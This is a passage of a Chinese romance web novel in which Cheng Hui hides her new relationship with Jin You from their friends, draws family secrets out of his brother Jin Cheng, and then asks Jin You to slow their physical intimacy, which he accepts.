摄像头的事情终究还是不了了之,碍于靳承又一次住进了靳家,靳佑和靳父两个人也都默契的没提那天的事,靳家一如既往的维持着虚假的平静。
靳佑忙于公司的事情,又跟着公司的几个领导层一起去出差。再次回到岳海市,已经是十天后了。
刚下飞机,就在门口接机的人群中找熟悉的身影。
他昨天特意跟程徽说了今天回来,让她务必要来接他。回国的时候不来接他,他大人有大量,不跟她计较,这次要是还不来……
密密麻麻的人群中,他挨个看,却始终没看到她的身影。
"这没良心的,竟然又不来!"
靳佑掏出手机要给程徽发消息,解锁屏幕后才看见她发来的信息:【我们之间的关系还没公开,不方便去接你。正好宋齐晏说要请我们吃饭,我就让他去接你了。别说漏嘴。】
"靳佑!这呢!"
宋齐晏突然扯着嗓子喊了一声,周围的人都看向他。众目睽睽下,他从后排挤到前排,高高举起了牌子——红色底板上用绿色大字写着:欢迎靳佑回来!
接机的人群中有二三十块牌子,但只有他手里的牌子最醒目——因为丑的出奇。
靳佑:“……”
这么丑的牌子,他竟然还有脸举起来。
19. 牛脾气
上了车,宋齐晏第一时间就将牌子收起来。一边启动车子,一边偷偷瞄着后视镜里面的靳佑,见他脸色不好,没等靳佑问,就忙着解释:“是程徽不愿意来,就让我来了,这事你也不能怪我。”
看着后视镜里面那张就差刻上“我不高兴”四个大字的脸,宋齐晏心里比吃了黄连还苦。
真是惹不起还躲不起,他这是造的什么孽啊!
“开车。”靳佑闭着眼,说话的口气听不出任何情绪。
这是拿他当司机用呢!
宋齐晏还配合着接一句:“得嘞,这就走。”
车子驶出,他不时瞄一眼后视镜里面的人,自然猜到靳佑是因为没见到程徽才不高兴,于是自以为谨慎的开口:“你和程徽也认识这么多年了,到现在都没在一起,会不会是有点什么问题?”
靳佑慢慢睁开眼,寡淡眸光落在正开车的宋齐晏身上。
没说话,可眼神却像是在等着他继续说下去。
车厢内静了一分钟,宋齐晏又壮着胆子接着说下去:“我是觉得吧,你对程徽的感情,这么多年也算是很明显了,谁不知道你喜欢她啊!但是程徽跟你认识这么久了,她可能……可能对你也有点感情吧,只不过自己没反应过来,兴许是在感情上有点迟钝?”
你才迟钝呢!
靳佑眼神骂的很脏,但没出声,依旧静静听着。
“我给你出个主意。”
宋齐晏笑的贱兮兮的,“你找个女人,陪你演场戏,只要你们两个走的够近,程徽看见了说不准就吃醋了。她只要吃醋了,到时候你们两个就能顺势在一起了。”
轻抬了下眉,邀功似的问:“这办法怎么样?”
靳佑眼神骂的更脏了,“不怎么样。”
“什么不怎么样,这办法多好啊!电视剧里面都是这样的,只要男人跟别的女人走得近点,在感情上反应迟钝的女主角肯定会吃醋,到时候你就能抱得美人归了!简直绝妙!”宋齐晏都想给自己封个情感专家的头衔了。
但靳佑却依旧阴沉着脸,看傻子似的看宋齐晏。
这个办法用在别人身上兴许能行。
可要是用在程徽身上……
不用猜也知道,她只会上前含笑说声恭喜,然后彻彻底底的断了对他那一点微不足道的感情。
在这之后,他去求着程徽给他一点爱,程徽都不会施舍给他。
“这个办法是在逼她吃醋,也是在逼着她和我断的干干净净。”
“怎么会呢?她只要吃醋了,肯定就察觉到自己对你的感情了,到时候——”
“到时候她以为我身边有别的女人,只会和我一刀两断。”
靳佑打断他的话,“你以为程徽会哭哭啼啼,整天因为吃醋食不下咽?不可能。以她的性格,只会去吃各种美食,说不定还会去点几个男模。了解到新领域,就更不可能回头了。”
“然后在心里暗骂一句出这主意的人:蠢。”
宋齐晏:“……”
认识这么多年,靳佑头一次跟他说这么多话。
但却是为了骂他,他甚至还无话反驳。
细想,程徽的性格似乎还真是如此。
依稀记得十六岁那年,程徽特别痴迷于海底生物方面的知识,那一年程禧曾送她一件生日礼物,是程禧亲手设计的一个手镯,景泰蓝的底图上画着鲸鱼、海星、小丑鱼之类的海洋生物。
不是什么价值连城的宝贝,但那是程禧亲自为她设计的,独一无二的手镯。
程徽格外的喜欢那手镯,一直都戴着。
但意外的是某次取下后,手镯被程徽最讨厌的一位男同学碰了,还傲气十足的说:“又没镶一块宝石,至于这么宝贝吗?你是没见过什么好东西吗?”
那男同学有点背景,平时在班里就一副耀武扬威的样子,谁都看不起,就连老师对他都要敬上三分。
可那次,程徽却猛地一拳朝那人脸上打去。
等陆齐晏和靳佑从外面回来,就看到了程徽动手的一幕。两人反应过来后,一起跟着冲上前,自然也和那男同学的几个小弟打起来了。
后来是老师赶来阻止了这场打斗,但几个人的脸上都挂了彩。尽管最后程徽将那镯子夺回来了,可却当着众人的面朝地上砸去。
“脏手碰过了,我不要了!”
即便是程禧亲手设计的,但被脏手碰过了,她也不可能要。
再后来,程禧还特意找出原图纸,打算找人重新做一个,可程徽却执拗的说:“不要。那镯子是独一无二的,重新做一个,就没有意义了。”
她要的从来都是干干净净、独一无二的。
否则宁可舍弃,也不可能回收。
程禧那时候就说她,“看起来是个好拿捏、好欺负的,实际上,骨子里是个牛脾气。”
真要是让靳佑和别的女人走得太近,只怕结果也不会比当初那个镯子的下场好。
宋齐晏不禁打了个激灵,“也是,倒是忘了她这倔脾气。”
但话又说回来,程徽能有这脾气,还不是某人和程禧给惯出来的?宋齐晏又一副过来人的口气劝说:“要我说,你也不能太宠着她,小心她恃宠而骄。”
靳佑又被某人的话蠢笑了。
他喜欢的人,他不宠着,难道要让别人来宠?
懒得跟他多解释,靳佑随性散漫的说:“小爷乐意。”
你管不着!
*
赶到惊月楼时,程徽已经在包间内等着了。见两人进门,她手指一滑,将通话记录的页面划走,顺手熄灭屏幕。此刻神色凝重,严肃的目光落在了靳佑脸上。
只用一个眼神,靳佑心里就犯起了嘀咕。
他又做错什么事了?应该没有吧?
这几天他可是老老实实的,她怎么会突然这么看他?
“就差一个沈妧了。”宋齐晏说。
上学时候就是他们四个玩得最好,但进入大学四个人却是各奔东西。
沈妧也被送出国留学去了,但不同的是她每年放假都回来,这次只是正好赶上毕业,就四处旅游去了,至今还没回到岳海市。
程徽脱口而出:“她说一个月后回来。”
“到时候我们四个可就算是聚齐了。”
宋齐晏看看程徽,又看看靳佑,意识包间内的气氛不对劲,识趣的往门口走:“你们聊,我去跟他们说一声,能上菜了。”
他前脚刚踏出去,靳佑就朝着程徽的方向走去,小心翼翼的询问:“我又做错什么事了?”
“?”
程徽一脑袋问号,比他还疑惑,“我怎么知道你又做错什么事了!”
狐疑的打量着面前人,“你出轨了?还是又找人盯着我了?”
“……你刚刚看我的眼神,让我以为我又做错什么事了。”原来是误会了,靳佑松一口气。
但下一秒又察觉不对劲:“谁会用那种严肃的眼神看自己男朋友?嗯?”
“嘘——你小点声!”程徽提醒:“我跟你说过的,我们之间的关系暂时不公开,当然要装得像点啊。”
装的简直像是真的一样!
吓得靳佑差点以为他做错了事。
程徽又叮嘱:“你等会儿可别说漏了。”
靳佑不情不愿的嗯了声,“……知道了。”
*
饭菜端上桌,三个人各自聊着近况。靳佑话少,目光频频看向程徽,程徽却
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是一眼都没看他,宋齐晏自然没察觉到两人的异样。
一顿饭结束,宋齐晏才说出这次请客的目的,“程徽,那个……”
他支支吾吾,倒像是不好开口。
但都已经到这个份上了,也只能硬着头皮说:“纪修那件事,是我和靳佑的错,你大人有大量,别跟我们一般计较。我们好歹也认识这么多年了,不能因为这件事就彻底闹掰了。要不然你说,要我们做什么才能就这么算了?”
“只要是你提出来的要求,我们肯定答应。”
他一直都知道程徽和靳佑因为纪修这件事,已经半年没互动了。
现在好不容易见面了,为了好兄弟的幸福,宋齐晏也只能先提出这事,毕竟他们几个都已经认识这么多年了,不能就这么散了。
“你不应该跟我道歉,应该跟纪修道歉。”
程徽清楚宋齐晏只是受靳佑指使,归根结底是在靳佑身上,“以后如果遇到了纪修,跟他道个歉吧,人家心里有喜欢的人,结果就因为我,被你们两个无缘无故的警告了。”
说起来这件事,程徽至今都觉得愧疚。
无疾而终的暗恋,纪修什么都不知道,就这么遭受了无妄之灾。
一切的一切都是因为她。
但好在当初她知道这件事以后,就去道歉了,现在也该轮到这两个人道歉了。
靳佑倒是答应的爽快:“行啊,不就是道歉嘛,以后要是遇见了就道歉。听说他最近在忙着创业的事情,正好我们还能出点钱,算是投资了。”
宋齐晏难以置信的盯着他,眼睛瞪圆,像是在说:你就这么答应了?!
靳二少爷可是只对程徽道歉的,怎么连跟纪修道歉这种事情也答应了?
靳佑却一脸淡然,毕竟这要求,可是程徽答应和他确定关系时提出来的,他能不答应吗?
见靳佑都答应了,宋齐晏也只好勉为其难的答应,“行,道歉就道歉。”
*
三人从惊月楼出来,往停车场去,还没等靳佑开口,宋齐晏就好心开始助攻,“靳佑,你坐程徽的车吧,我等会儿还要去见个朋友呢。”
说着又冲靳佑使个眼色。
兄弟,把握好独处的机会啊!
“我赶时间,就先走了。”做戏做全套,宋齐晏甚至加快了脚步朝自己的车子走去,又回过头冲两人挥手,“改天再约。”
程徽和靳佑随口应了声,随着宋齐晏走远,两人也找到了程徽的车。
上车后,才刚坐稳,靳佑就忽地凑到眼前,小别胜新婚,他饿狼似的盯着她,意图明显,程徽却抬手一把将凑到跟前的脸推开。
“不能亲,等会儿我还要去见个人。”
“只亲一下,你再补妆。”
靳佑一秒都不想多等,倾身就要吻上去,却被程徽一把捂住嘴,再次推开。
“不能亲,回去再亲。”
程徽从包里掏出钥匙,塞到他手里,“我要去见个人,你等会儿把我送到松园路的路口就行,不用等我,你开车先回公寓。我自己打车回去就行。”
回这个字,妙极了。
回去、回公寓,这话听起来就好像他们拥有一个家。
靳佑突然觉得,如果能尽早和她有个家,一定会很幸福。
一个脱离了程家和靳家、只属于他们的小家。
在程徽的一再拒绝下,靳佑也只好开着程徽的车,把她送到松园路。在路口处停下来,看着她进了咖啡厅后,才放心离开。
只是他才刚驶出路口,同一条路的另一个路口慢慢驶来一辆车。
车子停稳,靳承从车里下来。
仰头看看四周的店,与程徽进了同一家咖啡厅。
20. 安全套
咖啡厅二楼,只有程徽与靳承这一桌客人。两人坐在靠窗的位置,面前各自摆放着一杯饮品。
“抱歉,周末还耽误你的时间。”靳承一如既往的温润,连声音都如春风般。
“反正我今天也没什么事,只当是来喝杯饮料。”
程徽不着痕迹的扫了眼楼下,没看见有熟悉身影鬼鬼祟祟的跟来,才直接说:“靳大哥想问什么事?”
在靳佑和宋齐晏赶到惊月楼之前的几分钟,靳承突然给她打电话,说是想约她见一面,问点事,又特意叮嘱她别跟靳佑说。程徽一口答应,十分好奇他想问什么事。
许是不好开口,靳承想了半分钟才说:“这几天阿佑有没有跟你说过什么事?和靳家有关的事。”
“和靳家有关的事啊……”程徽拉长尾音,垂下的墨睫遮住了眼底的一抹晦暗。
自从上次去靳家后,她总觉得靳佑有事瞒着她,多数是和靳家有关。
或许能在靳承这里套出话。程徽心想。
她故作犹豫,面露为难,“说倒是说了,只不过,我不太方便跟靳大哥说。”
许是没想到程徽也不告诉他实情,靳承一时难免失落,但在程徽面前仍是硬挤出笑容,“没事,不方便说就算了。”
端起面前的美式咖啡喝了一口。
苦涩蔓延,连带着心里都是苦的。
自从那天瓷杯的事情过后,靳承暗中问过家里的阿姨、司机、管家,但无一例外,没有一个人将那天的事情告诉他。
靳承迫于无奈才想到了程家姐妹。
程禧稳重成熟,想从她嘴里问出真相,只怕是难。但程徽瞧着就是个直性子,于是靳承便决定找她问问。
他以为程徽会爽快的告诉他真相,没想到她也谨慎的不愿意说。
看来那天一定是出了大事。
靳承心里更是好奇,但也不愿强人所难,识趣的没再追问下去。
“靳大哥,”演戏演到底,程徽又轻声劝说:“其实这件事你可以去问阿佑,他或许会告诉你实情。”
“不会的。”靳承苦笑,“我和阿佑的关系,你也知道,实在是一言难尽。”
“嗐!阿佑就是脾气不好,容易冲动,你别跟他一般计较。”
“他是我弟弟,我不会跟他计较,而且……”靳承顿了下,满是愧疚的说:“而且当年是我没能保护好他。如果那时候我没有选择跟着母亲离开,或许他不会是现在这样。”
他选择跟着靳母离开?!
可靳佑分明说过,当初父母离婚打官司,是因为都想要他,他最后选择跟着靳父留在岳海,靳承才被迫跟着靳母出国离开。
选择还是被迫?哪个是真的?
程徽头一次觉得脑子不够用,但看着面前的人,她还是冒险选择信了此人的话。
“当年的事,阿佑也跟我说了,不过他也说了他不怨你,只是你跟阿姨离开以后,他常常会想你们。”程徽说完又叹了口气,像是在为靳佑难过。
演的简直就像真的一样。
说话时又将靳佑这些年说过的话翻来覆去的想,程徽忽地察觉靳母似乎从来没回来过。
她貌似感叹,实则却谨慎试探:“其实你和阿姨这些年应该多回来看看他,阿佑很想你们。”
“是应该多回来看看他。”靳承颇为无力的说:“只是靳家的事,一言难尽,没办法。”
一句一言难尽,听的程徽头都大了。
倒是说点事情啊,只感叹她还怎么套话?!
但她还是跟着附和:“是,我知道,阿佑跟我说过的。”
“他跟你说过?”
靳承惊讶,“他、他都知道了?”
嗯?!这话怎么听起来怪怪的?
什么叫他知道了?
难道靳家还有什么事是靳佑都不知道的?
程徽只觉的脑子都快要转冒烟了,但此刻面上依旧故作冷静淡然,轻轻嗯了声,“他都知道了。”
意料之外的回答,听的靳承脸色骤变。
仿佛这个回答太出乎他的预料。
但过了不足半分钟,他又叹气说:“知道也正常。当年父母还没离婚的时候,两人吵架什么话都往外说,算起来那个时候阿佑已经五岁了,知道这些事也正常。”
“只不过,我没想到他会跟你说靳家的事,看来他是真的很相信你。”
说到最后,靳承满眼欣慰的看着她。
然而现实却是什么都没说过!
程徽心虚的笑笑,顺着他的话说:“是啊,我和阿佑从小就认识,他对我确实是比较信任,有什么事情都会跟我说。”
端起果汁连喝了两口,带着丝丝凉意的果汁,也让程徽更清醒。
一心想着接下来怎么套话。
但还没等她开口,靳承又突然说:“不过你大可以放心,阿佑他确实是我父亲的亲骨肉,这一点我能证明,而且当年也做过亲子鉴定。他确确实实是靳家的人,以后靳家那些产业都会给他,你可以完全放心,我是不会跟他争家产的。”
亲子鉴定!!
这怎么还扯上亲子鉴定了?
难道靳伯父怀疑过靳佑不是他亲生的?
程徽狠狠地掐着自己的大腿,才勉强保持镇定。但这下脑子是彻底转不动了,一时间甚至忘了接话。
许是她突然安静的原因,对面的靳承直到此刻才觉出不对劲,狐疑的打量着她,心里犯起了嘀咕,轻声问:“你不知道这事?”
“知道。”程徽干笑两声,更显得没底气,但还是硬着头皮说:“我怎么会不知道呢,阿佑跟我说过的。”
“是吗?”靳承这次却是不敢尽信她的话。
在程家两姐妹之间,选择找程徽来问那天晚上的事情,就是觉得她年龄小、阅历少,看起来像是个没心眼的直性子。
但现在看来嘛,或许是他低估了程徽。
靳承勾唇浅笑,即便猜到自己应该是被这小丫头给套路了,但也不生气,只是笑着问:“你是不是不知道那天晚上发生了什么事?”
得嘞,还是被拆穿了!
程徽索性不装了,笑得一脸讨好:“是,那天晚上发生了什么事,我也不清楚,阿佑没跟我说过。真是不好意思,骗了靳大哥。”
“没事。”靳承说不失望是假的。
至少他没想到那天晚上的事情,连程徽也不知道。阿佑那么信她,却不跟她说。
唯一的答案,就是这事比他所想的更复杂。
“靳大哥,”反正都已经被拆穿了,程徽索性大胆询问,“当年伯父伯母离婚,他们都想要你,最后你选择跟着伯母离开。是这样吗?”
“……”靳承彻底傻眼。
她居然连这事都不知道!甚至还是从他嘴里套出来的!
没等靳承开口,程徽看他的表情就已经猜到了答案:“看来我猜得没错。”
阿佑才是那个没人要的孩子。
或许靳家人也不是像他说的那样爱他。
否则,靳母为什么不回来看他?
“伯母不爱他,是吗?”程徽又问。
靳承唇线紧绷,想了几秒只说出一句模棱两可的话:“这个问题,有点复杂,不是一两句话能说清楚的。”
“那就是不爱。”
不是十分确定的爱,都不是爱。
这是程禧教她的。
程徽说:“她如果爱阿佑,就不会这么多年都没有回来看过阿佑。”
*
从咖啡厅出来,靳承和程徽站在长街上,两人一时间都没话说了,只是看着随风而起的枯叶心中五味杂陈。
程徽拢了拢身上的大衣,初冬的风像刀一样划过她的脸颊,发丝也随风而动。就连她说话的声音,也像是随着风,从四面八方传到了靳承的耳中。
她说:“关于靳家的事情,靳大哥却来问我——当然我并不排斥靳大哥来问我,但是我要是猜得没错,你应该已经问过靳家的管家和阿姨了,只是没能问出结果而已。”
“如果连家里的管家和阿姨都不说,就只能说明靳家有人不想让你知道真相。”
“这种情况,我还是建议靳大哥和阿佑聊聊。他这人脾气是不好,但我能感觉到他是在乎你的,或许你可以从他嘴里问出实情。”
——靳家有人不想让他知道真相。
靳佑?还是父亲?还是二者都有?
靳承也十分好奇。
他轻嗯了声,“这件事我会抽时间跟阿佑好好聊聊。”顿了下,又话锋一转,声线也轻松起来:“不过我倒是真没想到你比我想的聪明多了。”
“多谢夸奖。”
程徽酒窝显现,更显俏皮,“我这只是一点小聪明,跟你和我姐姐可比不了。”
她低头看了眼腕表,“我也该回去了,靳大哥要是有什么事,随时给我打电话。这次的事情没能帮上忙,但说不定下次我就能帮上忙了。”
“好。”
临走时,靳承又提出要送她回去,却被程徽拒绝了。毕竟靳承联系她的时候可是说过的,别跟靳佑说。真要是靳承开车送她回去,万一被靳佑看见,说不准会出什么事呢。
更要紧的是,她总觉得以靳佑的性格,应该不
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会这么快就离开。
她甚至有种错觉——觉得靳佑应该会悄悄地来咖啡厅一趟,看看她究竟是跟谁见面。
程徽没急着打车,反倒是沿着靳佑刚刚开车离开的方向走了一段路。
结果,没走多远就看到迎面走来的靳佑!
但凡她和靳承从咖啡厅晚出来半个小时,就会被这人发现。
果然还是被她猜中了!
靳佑看见她的瞬间,下意识加快脚步,走到程徽面前张口第一句话就问:“你和谁见面了?”
“你弯腰,我告诉你。”
程徽皮笑肉不笑的看着他,看的靳佑总觉事情不对劲,但还是弯下腰凑近。
下一秒,程徽突然抬手扯住他的耳朵,“你个骗子!大骗子!”
靳家的事情,他是一句实话都没有。
甚至还隐瞒了这么多年。
要不是在大庭广众之下不方便动手,她都恨不能甩他一巴掌,再问他一句——憋在心里不难受吗?
“骗子!”程徽一声声的喊。
靳佑却还是笃定不是自己惹了程徽,急忙问:“怎么了?谁惹你了?”
“你!”
程徽松了手,双手抱臂往前走,忍不住又说一句:“骗子!”
靳佑更搞不清楚状况,“我怎么骗你了?”
程徽不说话,只是加快脚步往前走。
他紧跟上去,“车停的远,要走半个小时。要不,我背着你?”
“用不着。”程徽瞪他。
但看到他泛红的耳朵,又心疼,抬手用掌心帮他揉揉,小声的嘟囔一句:“笨不笨,都不知道躲吗?”
干嘛乖乖的让她揪耳朵,他应该躲开的!
她声音小,靳佑没听见她说的话。但她伸出手帮他揉耳朵的一瞬间,靳佑就笑了。
但心疼归心疼,有些事还是要问:“你又回来干什么?想看看我和谁见面?”
还真被她猜中了。
靳佑就是想回来看看她到底和谁见面,但却因为买东西耽误了时间,显然是来迟了一步。
“是,顺便带你回去。”
说话时程徽的手也慢慢放下,靳佑顺势牵住她的手,她没挣脱,他不禁松一口气。
看来应该不是他惹了她。
“到底谁惹你了?我去教训他。”
“就是你!”
靳家的事他都能隐瞒这么多年,还真是够能憋的,程徽没好气道:“你也不嫌憋得慌。”
憋得慌?!
从某方面来说,他是憋得慌。
但没想到程徽竟然能看出来。
难道这种事从表面也能看出来吗?
他试探问:“你看出来了?”
“看出来了!”准确的说是问出来了,但不知道为什么她竟然顺着他的话说下去了,程徽气的吐槽他:“都这么多年了,你还真是够能忍的!”
“是忍好几年了。”
他的徽徽,总算是开始体谅他了。
靳佑有些欣慰,讨赏似的问:“不过我都憋这么多年了,你是不是该好好补偿补偿我?”
补偿?!
这话怎么听起来怪怪的?
总让人浮想联翩。
脑子里竟然出现了点黄色废料,程徽还以为是自己想多了,一本正经的说:“我又不欠你的,凭什么补偿你?”
“那就我补偿你。”
反正有些事嘛,谁补偿谁都一样。
看着靳佑一脸期待的模样,程徽差点以为她猜对了。
直到两人找到车子,各自坐好后,余光无意间扫见后排放着一个大袋子,程徽扭头看去——
袋子里面装着十几个不同颜色、但大小相近的盒子,看清那些盒子的刹那,她脸都差点绿了。
她真的猜对了!
但这狗东西买这么多安全套,八百年才能用完吧!
“疯了吧你!这么多套,你是要转行卖套?”
十几种安全套,他摆明是想都试试。
程徽甚至都能想象到柜员看到他买到这么多安全套时的表情。
“不卖。”他一脸认真,甚至透着点期待:“我们两个用。车里留一盒,你公寓里留一半,剩下的改天放我那房子里。不过我那房子太久没人住了,过段时间要找人去打扫一下。”
程徽一张脸红的像是涂了几层的腮红,彻底接不上话。
只想找个地缝,把靳佑给塞进去!
亏得她刚刚还在心疼他在靳家的那些遭遇,现在看来,还是心疼心疼自己吧。
这眼看遭殃的就是她了!
21. 信徒
回到公寓,靳佑将那些买来的安全套放在她床头柜的抽屉里,程徽抱臂倚靠在门框上,看他信步走来。
“我们之间是不是进展的太快了?”许是第一次恋爱没经验,路上仔细想了想,即便不排斥和靳佑发生关系,但她还是觉得太快。
靳佑站在她面前,捧着她的脸颊,拇指轻轻摸索着她的耳根,“我只是提前买来备着,不是现在用。”
低下头,吻上想念已久的唇瓣。
大掌沿着她耳根一路下滑,绕到身后,直接将人托抱起来。顷刻间,变成了她低下头吻他。
她身处上位,吻更像是给他的赏赐。
她随时都有结束的权利。
唇瓣移开,拇指拂过他唇边的一抹红——是她的口红。
程徽一脸嫌弃,“你应该等我卸个妆。”
“我已经等太久了。”
等了十几年,才有机会成为她的男朋友。又接连几天没见面,分开的每分每秒都像是煎熬。
他早就已经等不及了,在车上的时候几次试图吻她,却都被程徽拒绝。回到公寓,直到此刻才得以吻上昼思夜想的人。
他一秒都不想多等了。
抱着她,坐在沙发上,原本被托抱着的程徽,此刻恰好跨坐在他腿上。
这姿势……怪怪的。
程徽就要从他身上下来,却被靳佑的双臂锁住腰肢。他靠在靠背上,半阖着眼眸盯着面前这张脸,喉结轻轻滚动,胸膛内的那团火肆无忌惮的烧着,烧的他喉咙发干,口渴难耐。
却也只能望梅止渴。
“我每天都很想你。”靳佑握住她的手,放在胸膛上,“每天都爱你。”
情话敏感体的程徽打了个激灵,一把抽回手,“……好恶心,你从哪学来的这种甜到发腻的情话?油腻腻的。”
“恶心吗?”
靳佑眼神逐渐暗了下来,似乎真的被程徽的话中伤了,有些委屈的问:“可是我说的是实话,实话也会让你觉得恶心吗?”
摁在她后腰的手稍稍用力,程徽当即趴在了他胸膛上。
“嘶!好硬!”
撞到下巴,疼的她倒抽口气。
正要起身,却被他双手摁着后腰动弹不得,她只好趴在他胸膛上,耳边传来他的心跳声。
“我不觉得恶心,你跟我说,好不好?”他声音意外的温柔,更像是在哄着她说。
是错觉吗?怎么觉得靳佑今天格外的不一样?
还是说……恋爱使人改变?
程徽不禁想到靳承想问的那件事,仰头看他,“你是不是遇到什么事了?要是有什么事,可以跟我说,我会帮你保密的。”
当然,她也更想知道靳家到底发生了什么事。
——但偏偏靳家的事,是靳佑最不想让她知道的事情。
“没有,只是公司的小事。”
他低头凑近,薄唇吻上她的额头,指腹轻轻揉捏着她的耳垂。察觉到程徽近乎本能的想躲,靳佑嘴角噙着一抹坏笑,慢慢收回手。
目光一寸寸的描摹着她的五官,平静而又暗藏欲望的声音在她耳边响起:“想吻你。”
说完,靳佑低头轻吻她的耳根,意料之外的举动,惊得程徽轻咬下唇,堵住了险些钻出来的声音。
像是猜到她耳根敏感,他故意使坏,竟然用齿尖轻轻咬了下。
程徽吞了下口水,却更觉口干舌燥。
她从来没有体会过这种感觉,一时有些慌了,但也清楚是怎么回事。攀在他肩头的手稍稍用力,指尖一点点蜷起,攥住了他的西装马甲和黑色衬衫。
撑在她后腰的大掌使坏的抚着她后脑,迫使她无从躲避。
“靳佑,你……”
“喊我阿佑。”
“阿佑,”她嗓音有点喘,却又极力遏制住喘声,让自己尽可能显得平静,“我、我怕。”
许是没经历过,才更怕,但身体却像是在莫名的期待。
意识到这一点时,连程徽也觉得意外。
不仅不排斥和靳佑做.爱,反而还有点期待。
她说话间,靳佑已然吻上了她细白脖颈,又一路向下,轻吻上锁骨。
扣在她身后的大掌,隔着薄薄的一层米色羊绒针织开衫,灼热的掌心温度依旧不容忽视。程徽无措、慌乱,一时间甚至不知道该做什么,只知道两人似乎是濒临失控边缘。
“你觉得进展太快,我们就再等等。”
靳佑声音勉强为程徽找回一丝理智。
但下一秒,埋在她肩窝的脸慢镜头似的抬起,明明是染了一张欲色的脸,却一本正经的说:“但我们能做点别的。”
别的?程徽没明白。
靳佑凑到她耳边,只用气声说了一句话,听的程徽耳根彻底烧了起来。
她近乎下意识的拒绝:“不行!”
“可是你能舒服,不好吗?”即便她拒绝了,靳佑依旧试图继续下去。
薄唇吻过她的下颌、脖颈,再度吻上她锁骨时,单手抱着她起身,吓得程徽赶忙伸手环住他的脖颈。
他单膝跪在沙发上,慢慢将人放在沙发上,另一手解着开衫的扣子。
知道他要做什么,程徽腾出一只手摁住他那只不老实的手,咽了咽口水,说:“阿佑,别、别这样。”
她面色潮红,但好在尚且还有一丝理智,清楚知道靳佑是要做什么,颤着声音又一次拒绝:“我不用你、你服侍我。不用。”
——我可以服侍你。
明明是再正常不过一句话,但他在她耳边说出这话时,程徽却还是鬼使神差的想了些黄色废料,这次她又猜对了。
只是没想到靳佑会说出这样的话,更没想到他会甘愿做出这事。
直到此刻,靳佑仍是说:“不做,也不行吗?”
他倾身覆上,单手用力的撑在她腰侧的沙发上,避免自己的体重压着她。
隔着羊绒开衫与西装马甲,依旧像是亲密无间。
许是被程徽拒绝了,他有些委屈的趴在她肩头,瓮声瓮气的说:“我没有碰过别人,怕自己以后会做不好。但如果我能服侍好你,以后的体验就不会太差。”
“我愿意服侍你,只要……只要你舒服就好。”
“轰——”
程徽脑子都要炸了,一片空白。
这人说话太让她招架不住!
“阿佑,你再给我点时间。”
程徽声音还在发颤,不知道是激动还是震惊,只是握着他大掌的那只手,一点都不敢松开。
半晌没听见他的声音,她又说:“再给我点时间,让我适应一下。”
靳佑从她肩窝处抬起头,垂眼看着身下的程徽,眼神中含着太多复杂情绪,失落、无奈、妥协,但最后却又满眼的爱意,定定地看着她。
当年第一次离家出走时,程徽在山上找到了他,夜深月明,那一夜,程徽比月亮耀眼。从那时起,他就心甘情愿把她捧得高高的。
服侍,也是他期盼已久且心甘情愿的。
可是她拒绝了。
靳佑也只好听她的,暂且妥协。低头吻上她的额头,虔诚如信徒般说:“为你做这些事,我心甘情愿。”
程徽微微张口,少顷又缓缓闭上。憋在心里的那句“你不是没人要的孩子”被她咽回去。
他不愿意被她知道靳家的事情,即便她不清楚是为什么,但还是选择装着不知道,等以后,他迟早会主动告诉她。
攥着他大掌的手慢慢松开,双手环抱着他,轻轻拍了拍他的后背。
良久,她回了句:“再给我点时间。”
*
当天晚上,
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靳佑留在公寓住,但还是没能获得睡在床上的资格,却也不愿睡在沙发上。最后两人各退一步,直接把沙发挪到卧室,挨着床边,尽管这次还是睡在沙发上,但却进了卧室。
也算进一步发展了。靳佑只能在心里自我安慰。
但看着某人独自一人占了一张两米的大床,他却只能睡在一张双人座的小沙发上,小腿甚至都无处安放,靳佑不禁感叹:“这沙发太小了,过两天我买套沙发送来,以后方便用。”
“不行。这只是小公寓,不适合放大沙发。”
“但大沙发睡起来舒服。”
靳佑单手拄着额头,意有所指道:“当然,睡床上更舒服。”
程徽直接翻了个身,背对着他,盯着墙上的影子说:“你不能得寸进尺,能让你睡卧室就已经算是我妥协了。要是按照我的想法,你今天就不该留在我这。”
“刚出差回来,你应该回靳家,靳伯父说不定会想问你关于工作方面的事情。”
提起靳父,靳佑眼底黯然,周身顿时严肃凌厉。
摄像头的事情,打乱了他的计划。
眼下只想在程徽这积蓄力量,才有勇气回去继续应付如今的局面,靳家的事他一句都不想提。
“这几天我不打算回去。”
“啊?!”
程徽倏地转过身,一脸的惊讶,“你……该不会这几天都要住在这吧?”
这话听起来怎么像是不乐意?
靳佑狐疑的打量着她,“你不想让我留下?”
“当然了!”程徽说的理所当然,又小声嘟囔一句:“引狼入室,又不是什么好事。”
何况两人的关系都没公开呢,万一哪天跟程禧打电话的时候不小心被对方听见点什么话,两人之间的关系就藏不住了。
更要紧的是有靳佑在,实在是多有不便。
例如,泡浴后出来,她甚至不能只穿着一件睡衣,还要把内衣都穿上。直到现在内衣都还没能脱下,实在是难受。
“等过几天我那边房子收拾干净,你搬我那去。我不介意引狼入室。”
“那跟现在能有什么区别?”
程徽脱口而出,过了两秒,又突然反应过来,“我怎么会是狼?!”
明明他才是色狼!
将被子往上拉了拉,防贼似的盯着他说:“色狼。”
“是,我色。”
靳佑承认的爽快,“我色胆包天,脑子里全是黄色废料,就等着哪天成真呢。”
放在床头的手机震动一下,程徽伸出手,指尖勾到手机拿过来,屏幕打开看到上面的消息时,脸色忽地严肃,盯着看了片刻才回消息。靳佑见她神色不对,即便已经猜到了,却也没直白的说出来。
手机放回床头柜上,顺手将屋内的小夜灯关了。
顷刻间,卧室一片漆黑。
程徽脑子里全是程禧发来的那条消息——爸妈周四回来,记得那天晚上回程家吃饭。
到时候她道歉归道歉,但也免不了又是一场大战。
不过事情到了如今的地步,也只能顺其自然。
两人默契的安静下来,都没说话,连呼吸似乎都几不可查。
但三分钟后,床上却传来细微的响声,不像是翻身,更像是在做什么事。
靳佑问:“在做什么?”
程徽想了想,还是说了出来:“……脱衣服。”
他瞬间明白,郑重其事的说:“明天你可以当我不存在,不用等关了灯再脱。”
“明天你还来?”
“嗯,来。”
程徽只觉得头大,照这么下去,恐怕用不了几天她就会答应和靳佑有进一步的发展。
毕竟她自己也已经察觉,身体似乎是比思想更愿意接近他。
这可不是个好兆头。
22. 好久不见
次日,靳佑照常去公司,程徽也去了工作室。尽管她以前没接触过这一类的工作,但好在认识的有几个古风服装方面的设计师,靳佑与程禧又给她推荐了几个做中式风格首饰的设计师,如今工作室已经招到几位设计师,也逐步进入正常运转。
对程徽而言,一切都在朝着好的方向发展——除了程母到现在还没答应她自己开工作室,别的一切都好。
